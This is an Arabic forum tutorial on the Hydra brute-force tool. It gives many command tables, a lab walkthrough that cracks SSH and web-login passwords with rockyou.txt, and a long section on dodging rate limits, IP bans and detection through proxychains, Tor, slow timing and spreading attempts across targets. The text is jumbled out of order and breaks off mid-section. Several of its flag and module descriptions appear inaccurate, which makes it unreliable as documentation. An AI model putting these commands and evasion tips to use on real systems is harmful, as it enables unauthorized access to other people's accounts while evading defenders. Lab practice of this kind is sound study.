proxychains hydra -L users.txt -P passwords.txt target-ip protocolتمرير جميع طلبات Hydra عبر بروكسي باستخدام أداة proxychains لتخطي قيود الوصول أو الحظر بناءً على عنوان IP.
torify hydra -L users.txt -P passwords.txt target-ip protocolاستخدام شبكة Tor عبر torify لتجاوز الحظر الجغرافي أو تصفية عناوين IP.
hydra -L users.txt -P passwords.txt -s port -R -w 20 -t 8 -e nsr -o results.txt target-ip protocolالاستفادة من استئناف الهجوم بعد التوقف (-R) لتجنب الكشف الناتج عن زيادة النشاط المفاجئ عند بدء الهجوم مجددًا.
hydra -L users.txt -P passwords.txt -s port -S -d target-ip protocolتمكين وضع التصحيح (-d) لرؤية الأخطاء والتأكد من أن الهجوم يعمل بشكل صحيح أثناء تجنب التنبيهات غير الضرورية.
hydra -L users.txt -P passwords.txt -s port -p proxy-list.txt -M targets.txt protocolاستخدام قائمة بروكسيات (proxy-list.txt) لاستهداف عدة أهداف عبر ملفات متعددة (-M targets.txt) مع تقليل احتمالية الحظر.
hydra -L users.txt -P passwords.txt -t 1 -w 60 target-ip protocolتشغيل جلسة واحدة فقط في كل مرة (-t 1) مع مهلة طويلة (-w 60) لجعل الهجوم بطيئًا جدًا وتجنب الحظر.
hydra -L users.txt -P passwords.txt -S -s port -t 64 -w 5 -vV target-ip protocolتشغيل عدد كبير من الجلسات الموازية (-t 64) مع مهلة صغيرة جدًا (-w 5) لزيادة سرعة الهجوم مع استخدام TLS لتجنب الحظر عن طريق تحليل النصوص غير المشفرة.
hydra -L users.txt -P passwords.txt target-ip protocol -x 6:12:Aa1! -t 4 -w 15إنشاء كلمات مرور ديناميكية تتضمن رموزًا خاصة لتجنب الحظر الذي يعتمد على أنماط الكلمات.
hydra -L users.txt -P passwords.txt -t 8 -W 3 target-ip protocolاستخدام خيار -W لتحديد عدد المحاولات قبل التوقف لفترة لتجنب الكشف عن الهجمات العنيفة.
hydra -L users.txt -P passwords.txt -m proxychains target-ip protocolدمج Hydra مع proxychains لاستخدام عناوين IP ديناميكية متعددة لتخطي القوائم السوداء أو حدود معدل الطلب.
hydra -L users.txt -P passwords.txt -o results.txt -s port -w 10 -f -M targets.txt protocolحفظ النتائج في ملف أثناء استهداف عدة عناوين لتوزيع الهجوم على أهداف متعددة، ما يصعب عملية التتبع.
hydra -L users.txt -P passwords.txt -s port -t 4 -w 30 -z -x 5:8:Aa1 target-ip protocolجعل الهجوم بطيئًا للغاية باستخدام الخيارات -z و-w مع كلمات مرور ديناميكية لتجنب اكتشاف الأنماط الثابتة.
hydra -L users.txt -P passwords.txt -S -I -e nsr -t 16 -w 10 -M targets.txt protocolالجمع بين خيارات متقدمة مثل استئناف الهجوم (-I) واختبار كلمات المرور الديناميكية وتوزيع الأهداف باستخدام ملفات متعددة.
hydra -L users.txt -P passwords.txt -s port -V -x 4:8:Aa1 -z target-ip protocolتمكين الوضع الصامت وتقليل سرعة الهجوم مع كلمات مرور ديناميكية.

الحمايات الشائعة التي ستواجهها أثناء استخدام Hydra

1 - حدود المحاولات ( Rate Limiting )
جدران الحماية أو الخدمات نفسها تمنع عددًا كبيرًا من المحاولات في وقت قصير مثل السماح بعدد محاولات معين قبل أن يتم حظر عنوان الـIP الخاص بك
2 - حظر عنوان الـIP الخاص بك بسبب النشاط المريب
قد لا يتم حظرك بسبب عدد المحاولات لكن قد يتم حظرك بسبب النشاط المريب كالـrequests الزائدة عن المعدل الطبيعي من نفس العنوان(IP)
3 - استخدام CAPTCHA
الكثير من خدمات الويب الان تستخدم الـ CAPTCHA لحماية المستخدمين من هجمات القوة الغاشمة (Brute Force)
4 - التأخير الديناميكي
وهو أسلوب حماية يمنعك من محاولة تسجيل الدخول لوقت معين بعد كل محاولة فاشلة، فمثلا قمت بمحاولة فاشلة، سيجبرك النظام حينها على أن تنتظر 3 ثواني قبل أن تستطيع إرسال طلب آخر وهذا يعتبر نوع من أنواع الحماية.
5 - القيود الغير اعتيادية على البروتوكولات
بعض البروتوكولات يتم عمل Configuration لها بحيث تقوم بحظر المستخدم أو الحساب أو إيقاف الخدمة أو حتى إرسال إنذار لمدير الشبكة حال وجود نشاط مريب


ما هي الحلول ؟؟
سأعطي أمثلة على البروتوكولات والويب فتابع معي ..
حمايات SSH الشائعة :
1 - حظر IP : قد يتم حظرك بعد عدد محدد من المحاولات
2 - قد يتم رفض الاتصال تماما بعد عدد محدد من المحاولات الفاشلة
تقنايات التخطي :
1 - استخدام وقت تخطي بين المحاولات (Delay) وهذا سيقلل سرعة المحاولات لتجنب الحظر :
كود:
hydra -l admin -P passwords.txt -t 1 -w 5 ssh://192.168.1.10
2 - استخدام عناوين IP متعددة كاستخدام VPN أو Proxy أو Tor بعد كل عدد معين من المحاولات :
كود:
hydra -l admin -P passwords.txt -t 4 -o results.txt -s 22 -e ns -proxy socks5://127.0.0.1:9050 ssh://192.168.1.10
حمايات FTP الشائعة :
1 - قفل الحساب : يتم قفل الحساب الذي تحاول اختراقه بعد عدد محدد من المحاولات
تقنايات التخطي :
1 - تقليل عدد المحاولات لتجنب اكتشاف الهجوم .
كود:
hydra -l user -P passwords.txt -t 1 ftp://192.168.1.20
2 - إنهاء الهجوم بمجرد العثور على الـcreds الصحيحة.
كود:
hydra -l user -P passwords.txt -f ftp://192.168.1.20
حمايات الويب الشائعة :
1 - CAPTCHA : إذا تم اكتشاف العديد من المحاولات يتم تفعيل CAPTCHA
2 - حظر الـIP الخاص بك.
3 - تجميد الحساب المستهدف.
تقنيات التخطي :
1 - تغيير عنوان IP باستمرار باستخدام Proxy أو Tor
كود:
hydra -l admin -P passwords.txt -s 8080 -t 3 -o results.txt -I http-post-form "example.com/login:username=^USER^&password=^PASS^:F=Invalid login" -proxy socks5://127.0.0.1:9050
2 - تخطي الحمايات الديناميكية باستخدام التأخير (Delay)
كود:
hydra -l admin -P passwords.txt -w 5 http-post-form "example.com/login:username=^USER^&password=^PASS^:F=Invalid login"
3 - بعض المواقع تعتمد على هيدرز مثل User-Agent:
كود:
hydra -l admin -P passwords.txt -m /login -H "User-Agent: CustomAgent" http-get://example.com
4 - التبديل بين المستخدمين (Mutual Targeting):
كود:
hydra -L users.txt -P passwords.txt http-post-form "example.com/login:username=^USER^&password=^PASS^:F=Invalid login"
نصائح لتخطي جدران الحماية أثناء استخدام Hydra :
1 - تقليل عدد المحاولات المتزامنة باستخدام t-
2 - استخدام Proxy أو Tor
3- عمل تأخير باستخدام w-
4 - تحليل الشبكة باستخدام Wireshark أو بدائلها لفهم استجابة الهدف للهجوم
5 - استخدم قوائم مخصصة للهدف بدلا من استخدام قوائم كبيرة (Social engineering)
6 - بعض حمايات الويب تتطلب فهم جيد للويب بطبيعة الحال وهي متغيرة بشكل كبير يصعب جمعه في موضوع واحد ولكنني تكلمت عن بعض هذه الحمايات في هذا التعليق من الرابط التالي


والان!

هل كنت تعلم أن Hydra تمتلك واجهة رسومية ؟!


مشاهدة المرفق 15797

الواجهة الرسومية موجودة بشكل افتراضي في توزيعات اختبار الاختراق
اكتب xhydra في الكالي وستظهر لك 🤡


مصادر ومراجع :
THM
thc-hydra
stationx
Kali Hydra Tool Page
سيتم تحديث هذا الموضوع باستمرار بإذن الله
نرجو من الإخوة الأعضاء إبلاغنا في حال وجدت خطأ إملائي أو تقني أو شيء نسيناه ولم نذكره

إن أحسنت فمن الله وإن أسأت فمن نفسي والشيطان
دمتم هكرجية
بارك الله فيك وبعلمك :love:
صدقا اشي سفاااح الله يعطيك العافيه أبو البراء :love:
 

محتويات الموضوع
1. ما هي Hydra
2. أشهر البروتوكولات التي تدعمها Hydra
3. متطلبات مهمة قبل إكمال القراءة
4. أشهر 10 بروتوكولات ستستهدفها بـ Hydra
5. تثبيت الأداة
6. استخدام الأدة
7. بداية الـDocumentation
8 . الخيارات Flags
9. أوامر جاهزة لاستخدامات متعددة
10. خيارات الويب
11. تفاصيل إضافية تخص الويب
12 - تخطي جدران الحماية
13. محتوى مخفي
14. المصادر والمراجع​

مشاهدة المرفق 15619

ما هي أداة Hydra ؟؟
هي أداة تستخدم من قبل المهاجمين بغرض كسر كلمات المرور عبر الهجمات العنيفة (Brute Force)، وتعد أداة فعالة وسريعة لتخمين معلومات تسجيل الدخول (Credentials) التي نستخدمها للولوج إلى الأنظمة المختلفة.
تستطيع هذه الأداة أن تجرب قائمة طويلة من كلمات المرور أو معلومات تسجيل الدخول على بعض خدمات المصادقة مثل SSH او FTP أو SNMP وحتى صفحات الويب لتسجيل الدخول.
وفقا للمستودع الرسمي لأداة hydra ، تمتلك هذه الأداة القدرة على مهاجمة العديد من البروتوكولات، ومنها :
كود:
Asterisk
AFP
Cisco AAA
Cisco auth
Cisco enable
CVS
Firebird
HTTP-FORM-GET
HTTP-FORM-POST
HTTP-GET
HTTP-HEAD
HTTP-POST
HTTP-PROXY
HTTPS-FORM-GET
HTTPS-FORM-POST
HTTPS-GET
HTTPS-HEAD
HTTPS-POST
HTTP-Proxy
ICQ
IRC
MEMCACHED
MONGODB
MS-SQL
MYSQL
NCP
NNTP
Oracle Listener
Oracle SID
Oracle
PC-Anywhere
PCNFS
POSTGRES
Radmin
Rexec
Rlogin
Rsh
RTSP
SAP/R3
SNMP v1+v2+v3
SOCKS5
SSHKEY
Subversion
TeamSpeak (TS2)
VMware-Auth
VNC
XMPP

متطلبات مهمة قبل إكمال القراءة ..
1 - فهم لأساسيات Linux
2 - فهم لأساسيات جمع المعلومات والاستهداف
3 - فهم لأساسيات اختبار اختراق الويب
4 - فهم لأساسيات اختبار اختراق الشبكات وبالتالي يتطلب الأمر معرفة جيدة بعلم الشبكات


هذا الجدول يحتوي على أشهر 10 بروتوكولات تستطيع Hydra تخمينها
بروتوكولات نقل صفحات الويب والنماذج عبر الشبكة وتختلف في جانب الأمانHTTP/HTTPS
بروتوكول نقل الملفات بين الأنظمة عبر الشبكة.FTP
بروتوكول اتصال آمن للتحكم عن بعد وإدارة الخوادم.SSH
بروتوكول إرسال البريد الإلكتروني بين الخوادم.SMTP
بروتوكولات لاستلام البريد الإلكتروني من الخوادم (IMAP للاتصال المستمر وPOP3 للتنزيل).IMAP/POP3
بروتوكول مشاركة الملفات والطابعات بين الأنظمة على الشبكة المحلية.SMB
بروتوكول اتصال سطح المكتب البعيد للوصول إلى أجهزة Windows.RDP
بروتوكول نصي للتحكم عن بعد في الأجهزة ولكنه غير آمن مقارنة بـ SSH.Telnet
بروتوكول لإدارة وتخزين بيانات المستخدمين والمعلومات الموزعة.LDAP
بروتوكول لنقل الصوت والفيديو عبر الإنترنت، ويستخدم في VoIP.SIP

للحصول على مزيد من المعلومات حول الخيارات الخاصة بكل بروتوكول في Hydra، يمكنك الاطلاع على صفحة أداة Hydra في كالي لينكس.
هذا يُبرز أهمية استخدام كلمة مرور قوية؛ فإذا كانت كلمة مرورك شائعة، ولا تحتوي على رموز خاصة، وليست أطول من ثمانية أحرف، فإنها ستكون عرضة للتخمين.
لذا عند استخدام تطبيق يستخدم كلمة مرور سهلة لتسجيل الدخول، غيّرها من الإعدادات الافتراضية! غالبًا ما تستخدم الكاميرات الأمنية (CCTV) وإطارات العمل على الويب admin كبيانات اعتماد تسجيل الدخول الافتراضية، وهو ما يُعتبر غير آمن بما يكفي.

تثبيت أداة Hydra
الأداة تأتي مثبتة بشكل افتراضي في توزيعات اختبار الاختراق مثل Kali Linux ومع ذلك إن كنت تفضل استخدام توزيعات أخرى غير Kali مثل أوبنتو أو فيدورا فقم بتنفيذ الأمر التالي :
كود:
apt install hydra
أو
dnf install hydra
كما يمكنك أيضا تنزيل الأداة من المستودع الرسمي من THC-Hydra


استخدام الأداة
Hydra لها 4 حالات تقريبا فيما يخص الاستخدام
الحالة الأولى : هي تخمين على كلمة المرور لمستخدم ما لأحد البروتوكولات
الحالة الثانية : هي تخمين كلمة السر واسم المستخدم معا لأحد البروتوكولات
الحالة الثالثة : هي تخمين كلمة المرور لمستخدم ما لتطبيق ويب
الحالة الرابعة : هي تخمين اسم المستخدم وكلمة السر لمستخدم ما في تطبيق ويب
يوجد حالة خامسة وهي تخمين اسم المستخدم فقط ولكنها نادرة نوعا ما
لنمر سريعا على هذه الحالات

الحالة الأولى : تخمين كلمة مرور لبروتوكول
المعطيات المطلوبة لهذه الحالة هي كالاتي :
1 - اسم المستخدم (Username)
2 - مسار قائمة كلمات المرور (Password List file)
3 - عنوان الضحية المتمثل في IP
4 - نوع البروتوكول الذي سنهاجمه
لنعطي مثال على استهداف بروتوكول ssh
كود:
hydra -l admin -P /path/to/wordlist/thelist.txt 10.10.66.4  ssh
ستلاحظ أخي الغالي استخدامنا لبعض الأعلام(Flags) وهي :
الاستخدامالعلم (Flag)
فلاج يوضع قبل اسم المستخدم المراد مهاجمته
l-
فلاج يوضع قبل مسار قائمة كلمات المرور المراد استخدامها في الهجوم
P-

سأضع أمر توضيح يآخر
كود:
hydra -l some_username -P /some_passlist.txt target_ip protocol

الحالة الثانية : تخمين معلومات تسجيل دخول لبروتوكول (username + password)
ربما لا يكون لديك أي اسم مستخدم لذلك قد تحتاج إلى تخمين أسماء المستخدمين أيضا، وربما تجد أكثر من اسم مستخدم وتحتاج إلى التخمين عليهم جميعا
حينها سنقوم بمهاجمة مجموعة من أسماء المستخدمين دفعة واحدة والمتطلبات لا تختلف كثيرا عن الحالة السابقة وهي كالاتي :
1 -مسار قائمة أسماء المستخدمين (Username list file)
2 - مسار قائمة كلمات المرور (Password List file)
3 - عنوان الضحية المتمثل في IP
4 - نوع البروتوكول الذي سنهاجمه
لنهاجم نفس البروتوكول الذي استخدمناه في المرة الفائتة ولكن هذه المرة باستخدام ملفين، ملف لمهاجمة أسماء المستخدمين وملف آخر لتجربة الباسسوردات على هذه اليوزرات
كود:
hydra -L /path/to/usernames.txt -P /path/to/password_list.txt 10.10.66.4 ssh
ستلاحظ أخي الغالي استخدامنا لفلاج جديد وهو L- وهو يدل على أن الهدف ليس مستخدم واحد بل عدة مستخدمين وبالتالي القيمة القادمة بعد هذا الفلاج ستكون مسار ملف لأسماء مستخدمين

الحالة الثالثة : تخمين صفحات تسجيل الدخول (لتطبيقات الويب)
هنا سنستخدم نفس المبدأ ولكن بعد إضافة بعد التعديلات البسيطة وهي ليست معقدة أو صعبة ولا تهتم لكثرة الرموز فالأمر جدا بسيط
ركز ييا حلو في المثال التوضيحي القادم ..
كود:
hydra -l <username> -P <wordlist> 10.10.66.4 http-post-form "<target-Path>:<login_credentials_variables>:<invalid_response>"
لا تكمل الشرح وحاول أن تطبق الأمر بنفسك بما فهمت من المثال التوضيحي(سنشرح بالتفصيل تاليا ولكن حاول)
انظر لهذا المثال وحاول أن تفهم دون شرح
كود:
hydra -l admin -P /path/to/wordlist.txt 10.10.66.4 http-post-form "/login.php:username=^USER^&password=^PASS^:F=incorrect"
الجديد في هذا الأمر هو كالتالي :
الوصفالفلاج
هذا الخيار يخبر الأداة بأننا سننفذ هجوم على صفحة ويب لتسجيل الدخولhttp-post-form
هذا هو مسار صفحة تسجيل الدخول الذي سنهاجمهlogin.php/
هذا المتغير هو المتغير الخاص بخانة اسم المستخدم(سنوضح كيف حصلنا عليه لاحقا)=username
هذه العلامة هي اختصار لكلمة and&
هذا المتغير هو المتغير الخاص بخانة كلمة المرور(سنوضح كيف حصلنا عليه لاحقا)=password
هذه الخانات تدل على الأماكن التي ستهاجمها الأداة، بمعنى أنه بدلا من PASS ستضع الأداة تخمينات كلمات المرور وبدلا من USER ستضع الأداة تخمينات اسم المستخدم.^USER^ , ^PASS^
حرف الـF يرمز لرسالة الخطأ التي ستظهر لك في حال كان المدخل غير صحيح حتى تتجنبها الأداةF=incorrect
إذا فهمت فكثر الله خيرك وإن لم تفهم بعد فسأشرح بتفصيل أكبر
لم نطبق بشكل عملي بعد

راجع ما ذكرت ثم طبق معي كما أقول تاليا
ببساطة شديدة سنكتب اسم الأداة أولا ومن ثم نضع الفلاج الخاص باسم المستخدم
ثم نكتب اسم المستخدم ومن بعده الفلاج الخاص بقائمة كلمات المرور
ثم نضع عنوان الهدف سواء كان رابط أو عنوان IP
ثم سنضع المعلومات التالية بين علامتي تنصيص ""
بقية رابط صفحة تسجيل الدخول
ثم نقطتان رأسيتان
ثم دالة اسم المستخدم وكلمة المرور ملتصقتين ببعض هكذا
كود:
username=^USER^&password=^PASS^
ثم نقطتان رأسيتان
ثم دالة رسالة الخطأ
كود:
F=incorrect
لنجرب بشكل عملي حتى تصل الصورة بشكل أوضح
لدينا العنوان التالي فلنقم باستهدافه
كود:
10.10.121.171
لدينا اسم مستخدم اسمه molly
لنفحص الهدف أولا بالـnmap ونرى
مشاهدة المرفق 15278
الأمر
كود:
nmap 10.10.121.171 -vv
بعد الفحص نجد أننا لدينا منفذين مفتوحين هما
80 http
22 ssh
لنبدأ بالـ ssh
مع العلم أننا لدينا في هذا اللاب اسم مستخدم موجود بالفعل للتجربة
الاسم هو molly
الأمر
كود:
hydra -l molly -P /usr/share/wordlists/rockyou.txt 10.10.121.171 ssh

مشاهدة المرفق 15279
نجح الهجوم كما نرى والان لنجرب على تطبيق الويب بما أننا لدينا منفذ 80 مفتوح وعليه بروتوكول http
بمجرد أن وضعت عنوان الip في المتصفح أدخلني مباشرة إلى صفحة تسجيل الدخول
مشاهدة المرفق 15280
مشاهدة المرفق 15281
أول ما سنحتاج إلى فعله هو تشغيل أداة Burp حتى نحصل على الركوست الذاهب إلى السيرفر
ملحوظة : قمت بإعادة تشغيل اللاب بسبب مشكلة تقنية وبالتالي سيتغير عنوان الهدف

سنقوم الان بوضع اسم مستخدم وكلمة مرور عشوائيين أثناء عمل الـburp حتى نحصل على الركوست
سنجرب meow كإسم مستخدم و meow2 كرمز سري ونضغط login وننظر إلى الburp
مشاهدة المرفق 15348
كما نرى ظهر لنا الركوست، طبعا عادة الركوستات تكون POST مش GET
إذا طلعلك GET فغالبا إما إنها مصيدة لك أو إن المطور مهرج 🤡

وأحيانا بعض الـforms تحتاج GET و غيرها يعني مش ضروري يكون المطور مهرج
الان كما يظهر لنا في آخر سطر نجد الكود الاتي
كود:
username=meow&password=meow1
هكذا حصلنا على أول ما سنحتاجه
والان سنعمل Forward وننظر إلى رسالة الخطأ التي ستظهر

مشاهدة المرفق 15349
كما نرى ظهرت لنا رسالة الخطأ تحت كلمة login
هذا كل ما سنحتاجه، والان سنكتب الامر
كود:
hydra -l molly -P /usr/share/wordlists/rockyou.txt 10.10.111.249 http-post-form "/login:username=^USER^&password=^PASS^:F=Your username or password is incorrect."
مشاهدة المرفق 15350
ملحوظة : بإمكانك إهمال الـ F- إذا أردت، ستعمل الأداة بلا مشاكل ولكن نقوم بتطبيق الـ Best Practice لا أكثر


هكذا نكون قد طبقنا على استهداف مستخدم واحد سواء في الويب أو مع البروتوكولات
إذا أردت أن تستهدف اكثر من اسم مستخدم كل ما ستفعله هو تغيير معرف اسم المستخدم من l- إلى L-
ومن ثم تقوم بإضافة قائمة أسماء المستخدمين، أي أن الأمر سيكون هكذا
كود:
hydra -L /usr/share/wordlists/names.txt -P /usr/share/wordlists/rockyou.txt 10.10.111.249 http-post-form "/login:username=^USER^&password=^PASS^:F=Your username or password is incorrect."

الان لنذهب للخلاصة
كل ما سيأتي هوا عبارة عن documentation تفصيلي للأداة
وتذكر دائما أن الصيغة الأساسية التي سنعتمدها في الشرح هي كالاتي
كود:
hydra -L/-l -P/-p target protocol [options]

إليك جدولًا مفصلًا يحتوي على جميع الخيارات المتوفرة في أداة Hydra مع شرح لكل خيار ..
L-تحديد ملف يحتوي على قائمة أسماء المستخدمين.
l-تحديد اسم مستخدم واحد ثابت للهجوم.
P-تحديد ملف يحتوي على قائمة كلمات المرور.
p-تحديد كلمة مرور واحدة ثابتة للهجوم.
M-تحديد ملف يحتوي على قائمة بأهداف متعددة (عناوين IP أو أسماء نطاقات).
s-تحديد رقم منفذ معين لاستهداف البروتوكولات التي تعمل على منافذ غير افتراضية.
S-تمكين SSL/TLS لتشفير الاتصال مع البروتوكولات التي تدعمه.
e-تمكين خيارات كلمات المرور الإضافية:
s-- s لاختبار اسم المستخدم ككلمة مرور.
n-- n لاختبار كلمات المرور الفارغة.
r-- r لاختبار اسم المستخدم وكلمة المرور معًا.
t-تحديد عدد الجلسات الموازية (threads) للهجوم. القيمة الافتراضية هي 16.
w-تحديد المهلة (timeout) بالثواني لكل محاولة اتصال.
v-تمكين الوضع التفصيلي (عرض تفاصيل المحاولات الفاشلة فقط).
V-تمكين الوضع التفصيلي الكامل (عرض كل المحاولات، الناجحة والفاشلة).
f-التوقف عند أول محاولة ناجحة.
o-تحديد ملف لحفظ نتائج المحاولات الناجحة.
I-تمكين وضع الاستعادة (resume) لاستكمال هجوم توقف فجأة.
R-استئناف هجوم سابق باستخدام ملف الاستعادة الافتراضي hydra.restore.
z-تقليل سرعة الهجوم عن طريق إدخال تأخير بين المحاولات (slow attack).
d-تمكين وضع التصحيح (debug mode) لمراقبة الأخطاء واختبار صلاحية الإعدادات.
W-تحديد عدد المحاولات قبل التوقف لفترة (delay) لتجنب الحظر (slow brute force).
u-تخطي الفحص الأولي (skip initial checks) لتسريع الهجوم، ولكن قد يؤدي إلى فشل الاتصال في بعض الحالات.
m-تمرير خيارات إضافية مخصصة للبروتوكول المستهدف.
T-تحديد حد زمني (time limit) لكل عملية محاولة.
C-تحديد ملف يحتوي على تركيبات من أسماء المستخدمين وكلمات المرور (combo file) بدلاً من استخدام ملفات منفصلة.
F-التوقف فور اكتمال الهجوم على هدف واحد.
h-عرض صفحة المساعدة لجميع الخيارات المتاحة في Hydra.
O-تمكين دعم الملفات الضخمة (large file support) لاستخدام ملفات كبيرة جدًا لأسماء المستخدمين أو كلمات المرور.
debug--تمكين وضع تصحيح إضافي أكثر تفصيلًا للمطورين أو لتشخيص المشكلات.
ignore--تجاهل فشل الاتصال بالأهداف أثناء الهجوم (ignore connection errors).
http-proxy--تحديد بروكسي HTTP للمرور عبره أثناء الهجوم.
socks-proxy--تحديد بروكسي SOCKS4/5 للمرور عبره أثناء الهجوم.
q-تمكين الوضع الصامت لإخفاء معظم مخرجات الأداة (quiet mode).
continue--متابعة الهجوم بعد مقاطعة بدون إعادة جميع المحاولات السابقة.
proxy--تمرير جميع الطلبات عبر بروكسي يدعم HTTP أو SOCKS (مماثل لـ proxychains).
x-إنشاء كلمات مرور ديناميكية بناءً على معايير:
- min:max طول كلمة المرور (على سبيل المثال: 4:8).
-------------------------- charset لتحديد الحروف المسموح بها:
- a للأحرف الصغيرة.
- A للأحرف الكبيرة.
- 1 للأرقام.
- ! للرموز الخاصة.
-------------------------مثال على ذلك :
-------------------------hydra -l admin -x 6:10:Aa1 target-ip ssh
بالنسبة لشرح الأمر الأخير فهو كالتالي :
6:10 هذا ينشيء كلمات مرور بطول يتراوح بين 6 و 10 خانات
Aa1 يقوم بتحديد مجموعة الأحرف المستخدمة
A الأحرف الكبيرة
a الأحرف الصغيرة
1 الأرقام
----------------
مثال أكثر تعقيدًا مع رموز خاصة:
كود:
hydra -L users.txt -x 8:12:Aa1! target-ip http-post-form "/login:user=^USER^&pass=^PASS^:Invalid login"
  • 8:12: إنشاء كلمات مرور بطول 8 إلى 12 حرفًا.​
  • Aa1!: إضافة الرموز الخاصة (!) إلى مجموعة الأحرف.​

الجدول التالي سيكون فيه أمثلة على جميع حالات استخدام أداة hydra مع الشرح ..
الأمرالوصف / الشرح
hydra -L users.txt -P passwords.txt target-ip protocolالصيغة الأساسية: مهاجمة هدف معين مع قائمة أسماء مستخدمين وكلمات مرور باستخدام بروتوكول محدد.
hydra -L users.txt -P passwords.txt -s port target-ip protocolإضافة خيار المنفذ -s لاستهداف بروتوكول يعمل على منفذ مخصص غير الافتراضي.
hydra -L users.txt -P passwords.txt -S target-ip protocolاستخدام TLS/SSL (تشفير الاتصال) مع البروتوكولات التي تدعمه مثل HTTPS، IMAPS، SMTPS، إلخ.
hydra -L users.txt -P passwords.txt -t 16 target-ip protocolاستخدام 16 جلسة موازية (threads) لتحسين سرعة الهجوم.
hydra -L users.txt -P passwords.txt -e nsr target-ip protocolاختبار كلمات المرور الفارغة (e) أو اسم المستخدم ككلمة مرور (s) أو كليهما (r).
hydra -L users.txt -P passwords.txt -o results.txt target-ip protocolحفظ نتائج المحاولات الناجحة في ملف results.txt لمراجعتها لاحقًا.
hydra -l admin -P passwords.txt target-ip protocolاستخدام اسم مستخدم ثابت "admin" بدلاً من قائمة أسماء المستخدمين.
hydra -L users.txt -p password target-ip protocolاستخدام كلمة مرور ثابتة "password" مع قائمة أسماء المستخدمين.
hydra -L users.txt -P passwords.txt -vV target-ip protocolتمكين الوضع التفصيلي لمراقبة كل محاولة تسجيل دخول ناجحة أو فاشلة.
hydra -L users.txt -P passwords.txt -M targets.txt protocolاستهداف عدة أهداف في وقت واحد مع تحديدها داخل ملف targets.txt.
hydra -L users.txt -P passwords.txt target-ip http-get /pathمهاجمة صفحة تسجيل دخول باستخدام طلب HTTP GET (يُستخدم للواجهات البسيطة).
hydra -L users.txt -P passwords.txt target-ip http-post-form "/login:user=^USER^&amp;pass=^PASS^:Login failed"مهاجمة نموذج تسجيل الدخول باستخدام HTTP POST، مع تحديد الحقول المراد تعبئتها والنص الدال على الفشل ("Login failed").
hydra -L users.txt -P passwords.txt -t 64 -f target-ip protocolاستخدام 64 جلسة موازية (-t 64) والتوقف عند أول محاولة ناجحة (-f).
hydra -L users.txt -P passwords.txt -I target-ip protocolاستخدام وضع الاستعادة (resume mode) لاستكمال المحاولات السابقة في حالة التوقف المفاجئ.
hydra -L users.txt -P passwords.txt -s port -S -t 32 -e nsr -o results.txt target-ip protocolتجميع الخيارات معًا: استهداف منفذ معين، تمكين SSL، زيادة الجلسات الموازية، اختبار كلمات مرور خاصة، وحفظ النتائج في ملف.
hydra -l admin -P passwords.txt target-ip http-form-get "/admin:user=^USER^&amp;password=^PASS^:Access Denied"مهاجمة صفحة إدارية مع نموذج تسجيل دخول محدد، والتحقق من نص يدل على فشل المحاولة.
hydra -L users.txt -P passwords.txt -w 30 target-ip protocolتحديد مهلة (timeout) قدرها 30 ثانية لكل محاولة اتصال.
hydra -L users.txt -P passwords.txt -R target-ip protocolاستئناف هجوم توقف سابقًا باستخدام الملف الافتراضي للحالة (hydra.restore).

خيارات الويب
أداة Hydra تقدم خيارات متعددة لاستهداف صفحات تسجيل الدخول بناءً على طرق الإرسال والبروتوكولات، وتتنوع الاستخدامات بناء على السيناريو ونوع التطبيق المستهدف، لذلك سأقدم لك جميع الخيارات المتاحة مع شرح مفصل.
الحالةالوصف
http-post-formمهاجمة صفحات تسجيل الدخول التي تستخدم طريقة POST لإرسال بيانات النموذج. تتطلب تحديد مسار URL، وهيكلة الحقول (مثل username وpassword)، والنص الدال على الفشل.
http-get-formمهاجمة صفحات تسجيل الدخول التي تستخدم طريقة GET لإرسال بيانات النموذج عبر عنوان URL. تعمل بنفس بنية http-post-form، لكنها مناسبة لواجهات تسجيل دخول أبسط.
http-headاستخدام طلب HTTP HEAD لاستهداف صفحات معينة، مما يوفر سرعة أعلى لأنه لا يجلب محتوى الصفحة بالكامل.
http-form-getمشابه لـ http-get-form ولكن مخصص لاستهداف النماذج التي تستخدم الحقول بشكل ديناميكي أو تحتوي على استعلامات أكثر تعقيدًا في GET.
http-form-postمشابه لـ http-post-form ولكن يُستخدم للسيناريوهات الأكثر تعقيدًا مثل الحقول الإضافية (مثل رموز التحقق أو حقول مخفية).
http-proxyاستخدام بروكسي HTTP لتمرير الهجمات عبره، مناسب لتجاوز القيود أو تخطي التتبع.
http-proxy-urlاستهداف خادم HTTP باستخدام بروكسي محدد يدويًا مع خيار URL.
http-proxy-authمهاجمة خادم HTTP عبر بروكسي مع توفير بيانات اعتماد للبروكسي نفسه (اسم مستخدم وكلمة مرور).
https-post-formنسخة مشفرة (TLS/SSL) من http-post-form تستهدف صفحات تسجيل الدخول التي تعمل على HTTPS.
https-get-formنسخة مشفرة من http-get-form لمهاجمة النماذج التي تستخدم HTTPS لإرسال البيانات عبر عنوان URL.
http-basic-authمهاجمة صفحات تسجيل الدخول التي تستخدم آلية المصادقة الأساسية (Basic Authentication) في HTTP، حيث يتم إرسال بيانات الاعتماد في عنوان الطلب.
http-digest-authمهاجمة صفحات تسجيل الدخول التي تستخدم آلية المصادقة Digest Authentication، وهي أكثر أمانًا من Basic Auth، حيث يتم تجزئة بيانات الاعتماد.
http-form-basicاستهداف النماذج التي تستخدم المصادقة الأساسية مع طلب GET أو POST.
http-form-digestاستهداف النماذج التي تعتمد على مصادقة Digest مع طلبات GET أو POST.
http-ntlmمهاجمة صفحات تسجيل الدخول التي تستخدم بروتوكول NTLM Authentication (غالبًا في بيئات Windows).
http-form-ntlmمخصص لاستهداف نماذج تسجيل الدخول مع NTLM عبر HTTP.
http-jwtمهاجمة صفحات تسجيل الدخول التي تستخدم رموز JWT (JSON Web Tokens) للتحقق من المستخدمين.
http-cookieاستهداف صفحات تسجيل الدخول مع إرسال ملف تعريف ارتباط (Cookie) محدد يدويًا مع كل طلب.
http-headerإرسال رؤوس HTTP مخصصة مع كل طلب (مثل "User-Agent" أو "Authorization") لاستهداف صفحات تحتاج إلى تفاصيل إضافية.
http-form-cookieإرسال ملف تعريف ارتباط مخصص مع طلبات النموذج (GET أو POST).
http-form-headerإرسال رؤوس HTTP مخصصة مع طلبات النموذج (GET أو POST).
http-form-jsonمهاجمة صفحات تسجيل الدخول التي ترسل بيانات المستخدمين بصيغة JSON عبر طلبات POST أو GET.
http-restمهاجمة واجهات RESTful APIs التي تستخدم HTTP POST/GET/PUT/DELETE مع بيانات اعتماد يتم تمريرها كـ JSON أو حقول مباشرة.
تفاصيل إضافية لكل حالة :
1. http-post-form
كود:
